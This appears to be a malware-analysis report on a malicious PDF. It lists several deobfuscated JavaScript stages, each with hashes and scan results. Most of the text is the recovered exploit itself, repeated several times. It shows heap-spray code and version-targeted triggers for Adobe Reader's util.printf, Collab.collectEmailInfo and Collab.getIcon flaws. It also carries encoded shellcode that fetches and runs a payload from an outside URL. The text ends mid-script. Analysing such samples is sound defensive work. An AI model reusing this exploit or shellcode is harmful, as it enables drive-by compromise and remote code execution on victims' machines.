k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "13249596979893949596979899394959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("%76%36%38%70%28%31%29%3b%0d%0a%76%61%72%20%6b%37%33%66%20%3d%20%67%36%36%76%3b%0d%0a%66%6f%72%20%28%63%32%33%67%20%3d%20%30%3b%20%63%32%33%67%20%3c%20%32%37%36%3b%20%63%32%33%67%20%2b%2b%20%29%7b%0d%0a%6b%37%33%66%20%2b%3d%20%22%38%22%3b%0d%0a%7d%0d%0a%75%74%69%6c%2e%70%72%69%6e%74%66%28%22%25%34%35%30%30%30%66%22%2c%20%6b%37%33%66%29%3b"));
}
if (o86m < 8){
eval(unescape("%76%36%38%70%28%30%29%3b%0d%0a%76%61%72%20%79%38%36%68%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%75%30%63%30%63%25%75%30%63%30%63%22%29%3b%0d%0a%77%68%69%6c%65%20%28%79%38%36%68%2e%6c%65%6e%67%74%68%20%3c%20%34%34%39%35%32%29%79%38%36%68%20%2b%3d%20%79%38%36%68%3b%0d%0a%74%68%69%73%20%2e%63%6f%6c%6c%61%62%53%74%6f%72%65%20%3d%20%43%6f%6c%6c%61%62%2e%63%6f%6c%6c%65%63%74%45%6d%61%69%6c%49%6e%66%6f%28%7b%0d%0a%73%75%62%6a%20%3a%20%22%22%2c%20%6d%73%67%20%3a%20%79%38%36%68%7d%29%3b"));
}
if (o86m < 9.1)
{
eval(unescape("%69%66%20%28%61%70%70%2e%64%6f%63%2e%43%6f%6c%6c%61%62%2e%67%65%74%49%63%6f%6e%29%7b%0d%0a%76%36%38%70%28%32%29%3b%0d%0a%76%61%72%20%68%33%31%65%20%3d%20%75%6e%65%73%63%61%70%65%28%22%25%30%39%22%29%3b%0d%0a%77%68%69%6c%65%20%28%68%33%31%65%2e%6c%65%6e%67%74%68%20%3c%20%30%78%34%30%30%30%29%68%33%31%65%20%2b%3d%20%68%33%31%65%3b%0d%0a%68%33%31%65%20%3d%20%22%4e%2e%22%20%2b%20%68%33%31%65%3b%0d%0a%61%70%70%2e%64%6f%63%2e%43%6f%6c%6c%61%62%2e%67%65%74%49%63%6f%6e%28%68%33%31%65%29%3b%0d%0a%7d"));
}
}
f18v();
generic_stage_recovery_003.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x9 3871 bytes
SHA-256: 0d20ce4b79e64dfa0780ed8056b35dca5f83f82f5300d1390c2df97bff3e5fce
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "132495969" + "79893" + "9495969" + "79899394" + "959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("v68p(1);
var k73f = g66v;
for (c23g = 0; c23g < 276; c23g ++ ){
k73f += "8";
}
util.printf("%45000f", k73f);"));
}
if (o86m < 8){
eval(unescape("v68p(0);
var y86h = unescape("%u0c0c%u0c0c");
while (y86h.length < 44952)y86h += y86h;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : y86h});"));
}
if (o86m < 9.1)
{
eval(unescape("if (app.doc.Collab.getIcon){
v68p(2);
var h31e = unescape("%09");
while (h31e.length < 0x4000)h31e += h31e;
h31e = "N." + h31e;
app.doc.Collab.getIcon(h31e);
}"));
}
}
f18v();
generic_stage_recovery_004.js deobfuscated-js generic stage recovery percent-decode from decompressed stream at 0x328 at offset 0x328 3626 bytes
SHA-256: 7d2c9af517dedbd3ba470bf4a3e6bf167120fd26740cf633f0ff5ab72948622f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
vary57v=newArray();functiond19a(j84j,r68v){while(j84j.length*2<r68v){j84j=j84j;}j84j=j84j.substring(0,r68v/2);returnj84j;}functionv68p(m4u){varp7j=0x0c0c0c0c;vark86l=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031);if(m4u==1){p7j=0x30303030;k86l=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032);}if(m4u==2){k86l=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033);}varh92l=0x400000;vara72f=k86l.length*2;varr68v=h92l-(a72f0x38);varj84j=unescape(%u9090%u9090);j84j=d19a(j84j,r68v);varh64u=(p7j-0x400000)/h92l;for(vare78z=0;e78z<h64u;e78z){y57v[e78z]=j84jk86l;}}varg66v=13249596979893949596979899394959697989;g66v=g66v.replace(/[\345678]/g,)functionf18v(){varo86m=app.viewerVersion.toString();if(o86m>8){eval(unescape(v68p(1);
var k73f = g66v;
for (c23g = 0; c23g < 276; c23g ++ ){
k73f += "8";
}
util.printf("E000f", k73f);));}if(o86m<8){eval(unescape(v68p(0);
var y86h = unescape("%u0c0c%u0c0c");
while (y86h.length < 44952)y86h += y86h;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : y86h});));}if(o86m<9.1){eval(unescape(if (app.doc.Collab.getIcon){
v68p(2);
var h31e = unescape("	");
while (h31e.length < 0x4000)h31e += h31e;
h31e = "N." + h31e;
app.doc.Collab.getIcon(h31e);
}));}}f18v();
generic_stage_recovery_005.js deobfuscated-js generic stage recovery split-literal-normalize -> percent-decode from JavaScript object 13 at offset 0x328 3840 bytes
SHA-256: 5fffff5946d1b9148155d928aa5d2f52d084ffbdc9190bdead30098251dd50c6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "13249596979893949596979899394959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("v68p(1);
var k73f = g66v;
for (c23g = 0; c23g < 276; c23g ++ ){
k73f += "8";
}
util.printf("%45000f", k73f);"));
}
if (o86m < 8){
eval(unescape("v68p(0);
var y86h = unescape("%u0c0c%u0c0c");
while (y86h.length < 44952)y86h += y86h;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : y86h});"));
}
if (o86m < 9.1)
{
eval(unescape("if (app.doc.Collab.getIcon){
v68p(2);
var h31e = unescape("%09");
while (h31e.length < 0x4000)h31e += h31e;
h31e = "N." + h31e;
app.doc.Collab.getIcon(h31e);
}"));
}
}
f18v();
generic_stage_recovery_006.js deobfuscated-js generic stage recovery percent-decode -> percent-decode from JavaScript object 13 at offset 0x328 3856 bytes
SHA-256: ab46a6ef129dceb1bca5e0879ae7e42ac2ddf1ebba7d03c795afe79d430436a0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
var k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (m4u == 1){
p7j = 0x30303030;
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (m4u == 2){
k86l = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u7661%u2D72%u6562%u7473%u632E%u6D6F%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var h92l = 0x400000;
var a72f = k86l.length * 2;
var r68v = h92l - (a72f + 0x38);
var j84j = unescape("%u9090%u9090");
j84j = d19a(j84j, r68v);
var h64u = (p7j - 0x400000) / h92l;
for (var e78z = 0; e78z < h64u; e78z ++ ){
y57v[e78z] = j84j + k86l;
}
}
var g66v = "132495969" + "79893" + "9495969" + "79899394" + "959697989";
g66v = g66v.replace(/[\+345678]/g, "")
function f18v(){
var o86m = app.viewerVersion.toString();
if (o86m > 8){
eval(unescape("v68p(1);
var k73f = g66v;
for (c23g = 0; c23g < 276; c23g ++ ){
k73f += "8";
}
util.printf("E000f", k73f);"));
}
if (o86m < 8){
eval(unescape("v68p(0);
var y86h = unescape("%u0c0c%u0c0c");
while (y86h.length < 44952)y86h += y86h;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : y86h});"));
}
if (o86m < 9.1)
{
eval(unescape("if (app.doc.Collab.getIcon){
v68p(2);
var h31e = unescape("	");
while (h31e.length < 0x4000)h31e += h31e;
h31e = "N." + h31e;
app.doc.Collab.getIcon(h31e);
}"));
}
}
f18v();
generic_stage_recovery_007.js deobfuscated-js generic stage recovery split-literal-normalize -> percent-decode from combined JavaScript objects at offset 0x9 3851 bytes
SHA-256: f52fb64a16f826663849cce924627305ff2f07626668b5e5978139d12137a2d3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var y57v = new Array();
function d19a(j84j, r68v){
 while (j84j.length * 2 < r68v){
j84j += j84j;
}
j84j = j84j.substring(0, r68v / 2);
return j84j;
}
function v68p(m4u){
var p7j = 0x0c0c0c0c;
